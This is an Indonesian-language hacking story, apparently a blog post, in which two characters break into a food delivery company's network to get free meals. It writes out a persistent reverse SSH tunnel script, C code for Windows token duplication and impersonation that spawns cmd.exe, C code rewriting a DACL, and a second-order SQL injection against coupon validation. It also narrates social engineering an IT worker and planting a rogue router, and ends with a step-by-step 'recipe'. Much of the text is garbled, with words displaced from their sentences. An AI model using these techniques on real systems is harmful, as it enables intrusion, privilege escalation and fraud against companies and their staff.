Cara seorang peretas ulung memandang dunia sangat berbeda dari rutinitas harian pekerja teknologi yang bekerja di perusahaan teknologi. Sementara sebagian besar profesional mengandalkan dokumentasi resmi, arahan atasan, dan praktik terbaik yang diterima, seorang peretas hanya memercayai apa yang dapat disentuh, diuji, dan dirusak. Bagi seorang peretas, pemahaman datang melalui rekayasa balik — membongkar sistem untuk mengungkap cara kerjanya yang sebenarnya, lalu menyatukannya kembali, memperbaiki apa yang rusak atau mengeksploitasi kerentanan. Ini bukan tentang menjadi seorang penjahat. Ini adalah bentuk pembelajaran yang paling murni, sebuah metode setua keingintahuan manusia itu sendiri: uraikan, pahami bagian-bagiannya, dan bangun kembali. Ini adalah pemikiran analitis dan sintetis yang terbaik. Penguasaan sejati datang ketika seorang peretas dapat mengeksploitasi perangkat karena itu adalah bukti utama bahwa mereka tahu persis cara kerjanya — lebih baik daripada orang lain. Kisah ini persis tentang itu — bagaimana seorang peretas ulung (Benicio) dari DeusExMachina dan Simplicius (seorang pemula yang pemberani) dengan senang hati membedah dan akhirnya memperoleh kendali penuh atas sebuah sistem yang rumit (Aplikasi Pengiriman Makanan). Ini adalah petualangan yang tidak hanya intelektual dan teknis, tetapi pada dasarnya tentang berjuang untuk melampaui batasan manusia, memecahkan teka-teki yang mustahil tidak hanya dengan menguras otak mereka, tetapi dengan bermain dengannya dan yang terpenting benar-benar diberi makan olehnya—sifat yang dimiliki peretas seperti yang dimiliki anak-anak. Penafian: Cerita ini berisi materi peretasan yang benar-benar dapat diterapkan, tetapi semata-mata untuk tujuan pendidikan. Cerita ini tidak menganjurkan peretasan ilegal. Simplicius, kamu kelihatan kelaparan. Bagaimana kalau kita pesan makanan… gratis? Aku punya rencana untuk meretas aplikasi pengiriman makanan favoritmu, menggunakan sistem kupon mereka sendiri. Benicio (Peretas): ( ) Anda sudah punya sesuatu yang dimasak, bukan? Ceritakan saja. Simplicius (Pendatang Baru): Tertawa ( ) Oh, saya sudah menyiapkan dasar-dasarnya. Kemarin, saya membujuk Greg dari tim IT mereka, melakukan rekayasa sosial yang cerdik, dan menyelipkan router bajakan saya langsung ke jaringan mereka. Sekarang, kami memiliki jalur langsung ke backend mereka dan akses ke sistem kupon mereka yang berharga. Ayo makan. Benicio: Menyeringai Pengaturan Benicio: Gudang Senjata Peretas : Alat utama Benicio adalah (Intel Core i7 Generasi ke-10, RAM 16GB, SSD 512GB) yang menjalankan — sempurna untuk menjalankan serangan rekayasa sosial, eksploitasi keamanan, dan eksekusi perintah jarak jauh. Laptop Dell XPS 13 Kali Linux : Dipasang ke dalam jaringan perusahaan, menjalankan versi yang disesuaikan, dengan , , dan untuk menghindari deteksi. Perangkat kecil namun canggih ini dipersenjatai dengan prosesor dan , yang menjamin kerahasiaan dan efisiensi. Router Bajak Laut OpenWRT tunneling SSH spoofing alamat MAC pivoting VPN Qualcomm IPQ4019 RAM 256MB : , menyediakan kontrol penuh atas fungsi jaringan dan kemampuan untuk melewati firewall. Sistem Operasi OpenWRT : Untuk kontrol yang aman atas jaringan yang disusupi, Benicio menggunakan yang menjalankan dengan dan untuk pemantauan lalu lintas dan analisis eksploitasi. Laptop Sekunder HP Spectre x360 Ubuntu 22.04 Wireshark Metasploit Tahap 1: Penyiapan Rekayasa Sosial — Pekerjaan Kemarin Semuanya berawal dari Greg. Saya menelepon, berpura-pura menjadi bagian dari "tim audit pihak ketiga" mereka, dan Greg — orang yang baik — membocorkan semua hal tentang pengaturan jaringan mereka. Sebelum dia menyadarinya, saya sudah berada di ruang server mereka, "memeriksa kerentanan" dan memasang router khusus saya. Benda itu sekarang menerobos firewall mereka tanpa terdeteksi. Benicio: OpenWRT Anda berhasil membujuk Greg agar memberikan peta jaringan dan membiarkan Anda memasang router palsu? Lancar. Simplicius: (Tersenyum) Router itu sekarang memiliki yang berjalan, yang memberi kita akses jarak jauh kapan saja kita mau. Berikut skrip yang saya gunakan: Benicio: terowongan SSH terbalik #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 myremoteuser@myremoteserver.com -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done Tahap 2: Melewati Firewall — Router Bajakan Beraksi Jadi sekarang, Anda telah menerobos firewall mereka dengan perangkat licik ini. Apa selanjutnya? Simplicius: Dengan akses internal penuh, saatnya membajak token dengan hak istimewa tinggi. Saya menemukan proses yang berjalan sebagai admin, menggunakan API untuk mengkloning token tersebut, lalu menyamar sebagai admin dengan . Sistem menganggap saya hanya pengguna biasa, tetapi di balik layar, sayalah yang memegang semua kunci. Benicio: DuplicateTokenEx() ImpersonateLoggedOnUser() #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; } Fase 3: Greg Datang Menyelamatkan — Lagi Namun, agar benar-benar berhasil, saya perlu mengetahui cara pengaturan mereka. Jadi, saya menelepon Greg lagi dan mengatakan bahwa saya membutuhkannya untuk memverifikasi beberapa pengaturan dan untuk audit. Dia dengan senang hati menurutinya. Benicio: deskriptor keamanan DACL SACL (Tertawa) Rekayasa sosial yang terbaik. Simplicius: Tahap 4: Mengubah Deskriptor Keamanan — Peretasan Tak Terlihat Oke, dengan bantuan Greg, saya menarik string SDDL ( ) untuk deskriptor keamanan target, yang memungkinkan saya menganalisis dan menulis ulang . Saya memodifikasi DACL untuk memberi diri saya akses penuh sambil menggunakan tanda pewarisan yang cerdas untuk memastikan perubahan tidak akan memicu peringatan atau menimbulkan kecurigaan. Sistemnya bahkan tidak berkedip!! Benicio: Security Descriptor Definition Language DACL (Discretionary Access Control List) Setelah DACL baru diterapkan, saya menerapkan perubahan tersebut kembali ke sistem. . Bendera pewarisan memastikan bahwa modifikasi saya tetap tersembunyi di bawah aturan akses yang ada, tetapi sekarang saya memiliki kendali penuh Keindahannya adalah, dari sudut pandang sistem, tidak ada yang tampak aneh #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; } Tahap 5: Melewati Pemeriksaan Akses — Game Dimulai Jadi Anda sudah masuk, dan Anda punya kendali. Bagaimana Anda bisa lolos dari pemeriksaan akses? Simplicius: (Mencondongkan tubuh dengan percaya diri, sambil menunjuk diagram di atas) Sistem berjalan melalui tiga lapisan: dan . Biasanya, di situlah kebanyakan orang menemui jalan buntu, tetapi di sinilah keajaiban itu muncul. Saya mengambil dari proses istimewa, menggunakan untuk membuat sistem berpikir bahwa saya adalah bos besar. Setelah itu, saya memasang kembali untuk memberi saya akses penuh. Sistem baru saja menggelar karpet merah. Benicio: integritas, berbasis token, pemeriksaan diskresioner token admin ImpersonateToken() DACL Izinkan saya menjelaskannya. — yang menyimpan (Pengenal Keamanan) dan hak istimewa — seperti paspor saya. Dengan menyamar sebagai , saya tidak perlu mengubah SID asli saya. Sistem masih menganggap saya sebagai pengguna dengan hak istimewa rendah, tetapi di balik layar, saya memiliki kunci kerajaan. Itu membuat saya melewati . Token Akses SID token admin pemeriksaan berbasis token Selanjutnya, saya menangani . Ingat yang saya tarik sebelumnya? Saya memodifikasi untuk memberi diri saya kontrol penuh atas objek tersebut, tetapi saya dengan cerdik menutupi perubahan tersebut dengan , memastikan tidak ada yang mencurigakan yang akan ditandai. Sistem itu bahkan tidak berkedip, tetapi sekarang saya memiliki kontrol penuh. Itu membuat saya berhasil melewati . Security Descriptor (DACL) SDDL DACL tanda pewarisan pemeriksaan diskresioner Yup, penjaga pintu kami yang ramah, Proses Pemeriksaan Akses… Simplicius: Ya, . Jika Anda memiliki ID yang tepat ( ) dan Anda mengenal pemilik klub ( ), Anda bisa masuk. Saya memastikan saya memiliki keduanya — ID yang tepat dan izin pemilik — jadi penjaga tidak hanya mengizinkan saya masuk, mereka memberi saya tiket VIP. Benicio: seperti penjaga di klub SID DACL Dan setelah semua itu? Sistem akan mengatakan ' atau ' . Berkat semua langkah yang kita ambil, Anda dapat menebaknya — . Kita masuk, Simplicius, dan sistem bahkan tidak menyadarinya. Akses Diberikan' Akses Ditolak' Akses Diberikan Tahap 6: Memesan Makan Malam — Hanya dengan Satu Suntikan SQL : Sekarang, untuk bagian yang menyenangkan. Saya tidak memilih jalan yang mudah dengan klausa yang sederhana. Aplikasi ini terlalu pintar untuk itu . Namun, Anda tahu, keamanan hanya sekuat mata rantai terlemah, dan saya menemukan cara mereka menangani . Benicio UNION —mereka menggunakan pernyataan yang telah disiapkan data profil yang tersimpan : Oke, saya penasaran. Bagaimana Anda berhasil mengelabui sistem agar menerima kupon palsu sambil membiarkan kupon yang valid tetap utuh? Simplicius : ( ) Inilah trik sebenarnya. Aplikasi menjalankan kueri untuk memvalidasi apakah kupon itu sah, tetapi menarik beberapa data dari Anda. Sekarang, mereka membersihkan masukan saat Anda pertama kali membuat profil, tetapi selama pembaruan profil. Jadi, saya menyuntikkan muatan ke profil saya, yang tidak terlihat sampai aplikasi menariknya ke kueri mendatang. Saat itulah saya dimulai. Sistem tidak menangkapnya karena injeksi sudah disimpan, menunggu saat yang tepat. Benicio Mencondongkan tubuh ke depan profil pengguna mereka TIDAK membersihkannya kembali bidang alamat injeksi SQL orde kedua Alih-alih menyerang proses validasi kupon secara langsung, seperti yang saya katakan, Simplicius, saya menanam muatan saya di kolom profil, menunggu untuk digunakan dalam kueri terpisah. Berikut ini adalah tampilan validasi kupon asli: SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code'; Biasanya, kueri ini tidak akan menghasilkan apa pun karena kupon palsu tersebut tidak ada. Namun, muatan yang saya masukkan mengubah logika kueri tersebut. Sistem tidak menduga adanya penyuntikan karena muatan tersebut sudah tersimpan dalam basis data dan menunggu saat yang tepat. Kueri tersebut dimanipulasi menjadi sesuatu yang lebih seperti ini: SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code'); Dengan memanfaatkan , saya mengelabui sistem agar menarik kupon palsu dan valid secara bersamaan. Aplikasi memproses kupon palsu untuk transaksi, tetapi kupon valid tetap utuh dalam sistem, tidak tersentuh. Ini berarti saya dapat menggunakan kembali kupon valid kapan pun saya mau. interaksi antara data profil dan kueri : Jadi, Anda tidak menggunakan trik input klasik — Anda menanam muatan di profil Anda dan membiarkan sistem melakukan pekerjaan kotornya? Simplicius : Tepat sekali. Keindahannya adalah aplikasi memproses kupon palsu untuk transaksi, tetapi di bagian belakang, kupon yang valid masih tersedia untuk penggunaan di masa mendatang. Muatan yang tersimpan terus berjalan di kueri mendatang, menjadikannya , dan mereka tidak menyadarinya. Benicio persediaan makanan gratis yang tak terbatas Dengan itu, saya mendapatkan kupon yang sama berharganya dengan emas. Ayo pesan. Fase 7: Pesta — Terkirim (Menggulir aplikasi) Baiklah, Simplicius, bagaimana dengan makanan Yunani? Saya pikir souvlaki, gyros, spanakopita. Semuanya gratis, tentu saja. Benicio: (Tersenyum lebar) Kau benar-benar mengalahkan dirimu sendiri kali ini. Simplicius: (Klik konfirmasi) Selesai. Makanan sedang dalam perjalanan. Benicio: Epilog: Gerakan Topi Putih Setelah ini, saya akan mengirimi mereka laporan rahasia yang menjelaskan kerentanan mereka. Mereka tidak tahu seberapa buruk Windows mereka. Mungkin mereka akan belajar sesuatu sebelum peretas berikutnya muncul. Benicio: sistem token keamanan Berikut resep Benicio untuk trik ini: : Melewati firewall dengan perangkat khusus yang menjalankan dan tunneling SSH. Router Bajak Laut OpenWRT : Gunakan dan untuk meningkatkan hak istimewa tanpa membunyikan alarm. Manipulasi Token DuplicateTokenEx() ImpersonateToken() : Terkadang yang dibutuhkan hanyalah pertanyaan yang tepat kepada orang yang tepat. Rekayasa Sosial : Menulis ulang memungkinkan Anda melewati kontrol sistem. Eksploitasi Deskripsi Keamanan DACL : Mengubah logika kueri untuk memanipulasi data dan menghasilkan hasil palsu namun valid. Injeksi SQL (Mencondongkan tubuh) Kau membuatkan kami makan malam dan tidak memberi tahu mereka. Ngomong-ngomong, aku akan mengambil souvlaki. Simplicius: (Tersenyum) Nikmatilah selagi masih ada. Benicio: